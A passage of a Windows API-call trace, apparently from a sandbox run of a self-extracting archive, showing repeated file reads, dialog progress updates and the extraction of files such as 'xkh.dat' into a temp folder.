wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.389] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.389] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.389] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.389] GetTickCount () returned 0x1fb6e [0068.389] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.389] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.389] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.389] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.389] GetTickCount () returned 0x1fb6e [0068.389] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.389] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.389] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.389] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.389] GetTickCount () returned 0x1fb6e [0068.389] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.389] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x206, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x206, lpOverlapped=0x0) returned 1 [0068.390] GetTickCount () returned 0x1fb6e [0068.390] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.390] SetFilePointer (in: hFile=0x1c, lDistanceToMove=870223, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd474f [0068.390] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.390] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.390] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.390] CloseHandle (hObject=0x138) returned 1 [0068.391] SetFileAttributesA (lpFileName="nkp.xl", dwFileAttributes=0x20) returned 1 [0068.391] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd474f [0068.391] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.391] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.391] OemToCharA (in: pSrc="xkh.dat", pDst=0x179cc0 | out: pDst="xkh.dat") returned 1 [0068.391] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="xkh.dat", cchCount2=1) returned 1 [0068.391] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="xkh.dat", cchCount2=6) returned 1 [0068.391] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="xkh.dat", cchCount2=-1) returned 1 [0068.392] SetFilePointer (in: hFile=0x1c, lDistanceToMove=870267, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd477b [0068.392] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="xkh.dat") returned 8 [0068.392] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x419ab8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.392] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting xkh.dat") returned 18 [0068.392] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting xkh.dat") returned 1 [0068.392] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.392] OemToCharBuffA (in: lpszSrc="x", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="x") returned 1 [0068.392] CharToOemBuffA (in: lpszSrc="X", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="X") returned 1 [0068.392] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="xkh.dat") returned 8 [0068.392] FindFirstFileW (in: lpFileName="xkh.dat", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.392] GetLastError () returned 0x2 [0068.392] GetFileAttributesA (lpFileName="xkh.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\xkh.dat")) returned 0xffffffff [0068.392] CreateFileA (lpFileName="xkh.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\xkh.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.392] GetFileType (hFile=0x138) returned 0x1 [0068.392] SetFilePointer (in: hFile=0x138, lDistanceToMove=559, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x22f [0068.392] SetEndOfFile (hFile=0x138) returned 1 [0068.392] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.392] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1c4, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1c4, lpOverlapped=0x0) returned 1 [0068.392] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x62 [0068.393] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.393] GetTickCount () returned 0x1fb7d [0068.393] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 1 [0068.393] GetMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x171590) returned 1 [0068.393] TranslateMessage (lpMsg=0x171590) returned 0 [0068.393] DispatchMessageW (lpMsg=0x171590) returned 0x0 [0068.393] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.393] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.393] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.393] GetTickCount () returned 0x1fb7d [0068.393] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.393] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.393] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.393] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.393] GetTickCount () returned 0x1fb7d [0068.393] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.393] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.393] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.393] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.393] GetTickCount () returned 0x1fb7d [0068.393] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.393] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.393] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.393] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.393] GetTickCount () returned 0x1fb7d [0068.393] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.393] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.393] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.393] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.393] GetTickCount () returned 0x1fb7d [0068.393] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.393] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.393] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.393] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.393] GetTickCount () returned 0x1fb7d [0068.393] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.393] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.393] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.394] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.394] GetTickCount () returned 0x1fb7d [0068.394] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.394] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.394] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.394] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.394] GetTickCount () returned 0x1fb7d [0068.394] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.394] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.394] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.394] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.394] GetTickCount () returned 0x1fb7d [0068.394] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.394] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.394] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.394] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.394] GetTickCount () returned 0x1fb7d [0068.394] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.394] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.394] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.394] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.394] GetTickCount () returned 0x1fb7d [0068.394] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.394] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.394] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.394] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.394] GetTickCount () returned 0x1fb7d [0068.394] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.394] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.394] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.394] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.394] GetTickCount () returned 0x1fb7d [0068.394] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.394] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.394] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.394] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.394] GetTickCount () returned 0x1fb7d [0068.394] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.394] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.394] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.394] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.394] GetTickCount () returned 0x1fb7d [0068.394] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.394] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.394] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.394] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.394] GetTickCount () returned 0x1fb7d [0068.394] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.394] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.395] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.395] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.395] GetTickCount () returned 0x1fb7d [0068.395] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.395] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.395] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.395] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.395] GetTickCount () returned 0x1fb7d [0068.395] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.395] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.395] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.395] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.395] GetTickCount () returned 0x1fb7d [0068.395] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.395] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.395] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.395] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.395] GetTickCount () returned 0x1fb7d [0068.395] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.395] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.395] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.395] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.395] GetTickCount () returned 0x1fb7d [0068.395] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.395] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.395] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.395] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.395] GetTickCount () returned 0x1fb7d [0068.395] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.395] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.395] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.395] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.395] GetTickCount () returned 0x1fb7d [0068.395] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.395] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.395] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.395] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.395] GetTickCount () returned 0x1fb7d [0068.395] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.395] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 